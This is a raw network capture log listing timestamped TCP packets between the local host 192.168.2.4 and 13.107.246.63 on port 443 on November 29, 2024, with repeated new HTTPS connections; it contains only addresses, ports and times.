Nov 29, 2024 23:11:36.259694099 CET	443	49854	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.262209892 CET	49859	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.262224913 CET	443	49859	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.262325048 CET	49859	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.262433052 CET	49859	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.262439966 CET	443	49859	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.338438034 CET	443	49855	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.338488102 CET	443	49855	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.338541985 CET	49855	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.338690996 CET	49855	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.338716030 CET	443	49855	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.338731050 CET	49855	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.338737011 CET	443	49855	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.340851068 CET	49860	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.340881109 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.340955019 CET	49860	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.341088057 CET	49860	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.341099977 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.351285934 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.351824045 CET	49857	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.351835012 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.352252007 CET	49857	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.352256060 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.538369894 CET	443	49856	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.538410902 CET	443	49856	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.538556099 CET	49856	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.538698912 CET	49856	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.538706064 CET	443	49856	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.538716078 CET	49856	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.538718939 CET	443	49856	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.540628910 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.540657043 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.540725946 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.540831089 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.540842056 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.898360968 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.898381948 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.898415089 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.898452997 CET	49857	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.898479939 CET	49857	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.898695946 CET	49857	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.898701906 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.898711920 CET	49857	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.898715973 CET	443	49857	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.901340008 CET	49862	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.901365995 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.901459932 CET	49862	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.901627064 CET	49862	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.901638031 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.972784996 CET	443	49858	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.973277092 CET	49858	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.973301888 CET	443	49858	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:36.973740101 CET	49858	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:36.973743916 CET	443	49858	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:37.462948084 CET	443	49858	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:37.463027954 CET	443	49858	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:37.463082075 CET	49858	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:37.463247061 CET	49858	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:37.463255882 CET	443	49858	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:37.463263988 CET	49858	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:37.463267088 CET	443	49858	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:37.465833902 CET	49863	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:37.465857029 CET	443	49863	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:37.465938091 CET	49863	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:37.466084957 CET	49863	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:37.466098070 CET	443	49863	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:37.997481108 CET	443	49859	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:37.998070002 CET	49859	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:37.998079062 CET	443	49859	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:37.998517036 CET	49859	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:37.998521090 CET	443	49859	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.121586084 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.121957064 CET	49860	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.121977091 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.122332096 CET	49860	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.122335911 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.284394026 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.284732103 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.284755945 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.285089016 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.285094023 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.434643984 CET	443	49859	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.434698105 CET	443	49859	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.434737921 CET	49859	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.434895992 CET	49859	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.434902906 CET	443	49859	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.434912920 CET	49859	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.434916973 CET	443	49859	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.437371969 CET	49864	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.437412977 CET	443	49864	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.437486887 CET	49864	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.437616110 CET	49864	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.437629938 CET	443	49864	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.571444988 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.571485996 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.571558952 CET	49860	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.571574926 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.571850061 CET	49860	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.571866989 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.571928978 CET	49860	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.571985006 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.572012901 CET	443	49860	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.572052002 CET	49860	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.574002028 CET	49865	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.574033022 CET	443	49865	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.574110985 CET	49865	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.574238062 CET	49865	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.574251890 CET	443	49865	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.724504948 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.724524975 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.724571943 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.724586010 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.724625111 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.725050926 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.725055933 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.725069046 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.725164890 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.725188971 CET	443	49861	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.725229025 CET	49861	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.727612972 CET	49866	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.727650881 CET	443	49866	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.727719069 CET	49866	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.727843046 CET	49866	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.727858067 CET	443	49866	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.813967943 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.814618111 CET	49862	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.814634085 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:38.815118074 CET	49862	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:38.815123081 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.191087008 CET	443	49863	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.191572905 CET	49863	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.191595078 CET	443	49863	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.192028999 CET	49863	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.192034960 CET	443	49863	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.271836042 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.271853924 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.271893978 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.271912098 CET	49862	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.271948099 CET	49862	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.272135019 CET	49862	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.272147894 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.272156954 CET	49862	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.272161007 CET	443	49862	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.274749994 CET	49867	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.274772882 CET	443	49867	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.274846077 CET	49867	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.275007963 CET	49867	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.275017977 CET	443	49867	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.627015114 CET	443	49863	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.629980087 CET	443	49863	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.630043983 CET	49863	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.630068064 CET	49863	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.630079031 CET	443	49863	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.630089998 CET	49863	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.630095005 CET	443	49863	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.632973909 CET	49868	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.633014917 CET	443	49868	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:39.633084059 CET	49868	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.633291960 CET	49868	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:39.633306980 CET	443	49868	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.236737013 CET	443	49864	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.237524986 CET	49864	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.237550020 CET	443	49864	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.238013029 CET	49864	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.238024950 CET	443	49864	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.508049965 CET	443	49866	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.508497953 CET	49866	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.508510113 CET	443	49866	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.508949041 CET	49866	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.508955002 CET	443	49866	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.681742907 CET	443	49864	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.684976101 CET	443	49864	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.685039043 CET	49864	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.685096025 CET	49864	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.685112953 CET	443	49864	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.685122967 CET	49864	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.685127974 CET	443	49864	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.687654972 CET	49869	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.687679052 CET	443	49869	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.687743902 CET	49869	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.687881947 CET	49869	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.687894106 CET	443	49869	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.952693939 CET	443	49866	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.956201077 CET	443	49866	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.956264019 CET	49866	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.956317902 CET	49866	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.956335068 CET	443	49866	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.956351042 CET	49866	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.956356049 CET	443	49866	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.958930016 CET	49870	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.958970070 CET	443	49870	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:40.959048033 CET	49870	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.959211111 CET	49870	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:40.959228039 CET	443	49870	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.058887005 CET	443	49867	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.059262037 CET	49867	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.059282064 CET	443	49867	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.059686899 CET	49867	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.059691906 CET	443	49867	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.416055918 CET	443	49868	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.416460991 CET	49868	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.416484118 CET	443	49868	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.416906118 CET	49868	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.416910887 CET	443	49868	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.522532940 CET	443	49867	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.525614023 CET	443	49867	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.525676012 CET	49867	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.525711060 CET	49867	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.525721073 CET	443	49867	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.525731087 CET	49867	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.525734901 CET	443	49867	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.528836966 CET	49871	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.528851986 CET	443	49871	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.528937101 CET	49871	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.529093981 CET	49871	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.529103041 CET	443	49871	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.860064983 CET	443	49868	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.863349915 CET	443	49868	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.863425016 CET	49868	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.863486052 CET	49868	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.863503933 CET	443	49868	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.863512993 CET	49868	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.863518000 CET	443	49868	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.866219044 CET	49872	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.866235971 CET	443	49872	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:41.866322994 CET	49872	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.866478920 CET	49872	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:41.866488934 CET	443	49872	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.471637011 CET	443	49869	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.472143888 CET	49869	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.472157001 CET	443	49869	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.472600937 CET	49869	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.472606897 CET	443	49869	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.701519012 CET	443	49870	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.701947927 CET	49870	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.701967001 CET	443	49870	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.702359915 CET	49870	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.702366114 CET	443	49870	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.953227043 CET	443	49869	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.953274965 CET	443	49869	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.953341007 CET	49869	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.953562975 CET	49869	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.953572989 CET	443	49869	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.953583956 CET	49869	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.953588963 CET	443	49869	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.956598997 CET	49873	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.956638098 CET	443	49873	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:42.956698895 CET	49873	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.956835985 CET	49873	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:42.956851959 CET	443	49873	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.136631012 CET	443	49870	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.139790058 CET	443	49870	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.139853001 CET	49870	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.140085936 CET	49870	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.140104055 CET	443	49870	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.140113115 CET	49870	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.140117884 CET	443	49870	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.142837048 CET	49874	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.142865896 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.142930984 CET	49874	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.143337965 CET	49874	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.143349886 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.255229950 CET	443	49871	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.255605936 CET	49871	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.255620003 CET	443	49871	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.256052971 CET	49871	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.256056070 CET	443	49871	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.588686943 CET	443	49872	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.589236975 CET	49872	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.589251041 CET	443	49872	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.589683056 CET	49872	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.589688063 CET	443	49872	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.703284979 CET	443	49871	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.703341007 CET	443	49871	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.703389883 CET	49871	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.703564882 CET	49871	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.703572989 CET	443	49871	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.703581095 CET	49871	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.703583956 CET	443	49871	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.706374884 CET	49875	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.706418037 CET	443	49875	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:43.706491947 CET	49875	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.706660032 CET	49875	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:43.706681013 CET	443	49875	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.070297956 CET	443	49872	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.073226929 CET	443	49872	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.073295116 CET	49872	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.073347092 CET	49872	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.073358059 CET	443	49872	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.073368073 CET	49872	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.073371887 CET	443	49872	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.075870037 CET	49876	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.075886965 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.075953960 CET	49876	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.076095104 CET	49876	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.076103926 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.736222982 CET	443	49873	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.736741066 CET	49873	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.736758947 CET	443	49873	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.737173080 CET	49873	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.737180948 CET	443	49873	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.991436005 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.992034912 CET	49874	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.992057085 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:44.992477894 CET	49874	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:44.992481947 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.423130035 CET	443	49875	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.423564911 CET	49875	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.423588037 CET	443	49875	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.424231052 CET	49875	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.424238920 CET	443	49875	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.444125891 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.448028088 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.448060989 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.448087931 CET	49874	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.448124886 CET	49874	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.448178053 CET	49874	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.448190928 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.448200941 CET	49874	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.448204994 CET	443	49874	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.450377941 CET	49877	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.450426102 CET	443	49877	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.450505972 CET	49877	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.450632095 CET	49877	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.450649023 CET	443	49877	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.735244989 CET	443	49865	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.735699892 CET	49865	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.735729933 CET	443	49865	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.736160040 CET	49865	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.736165047 CET	443	49865	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.875760078 CET	443	49875	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.875803947 CET	443	49875	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.875866890 CET	49875	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.876071930 CET	49875	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.876095057 CET	443	49875	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.876111984 CET	49875	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.876118898 CET	443	49875	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.878648043 CET	49878	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.878667116 CET	443	49878	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.878740072 CET	49878	443	192.168.2.4	13.107.246.63
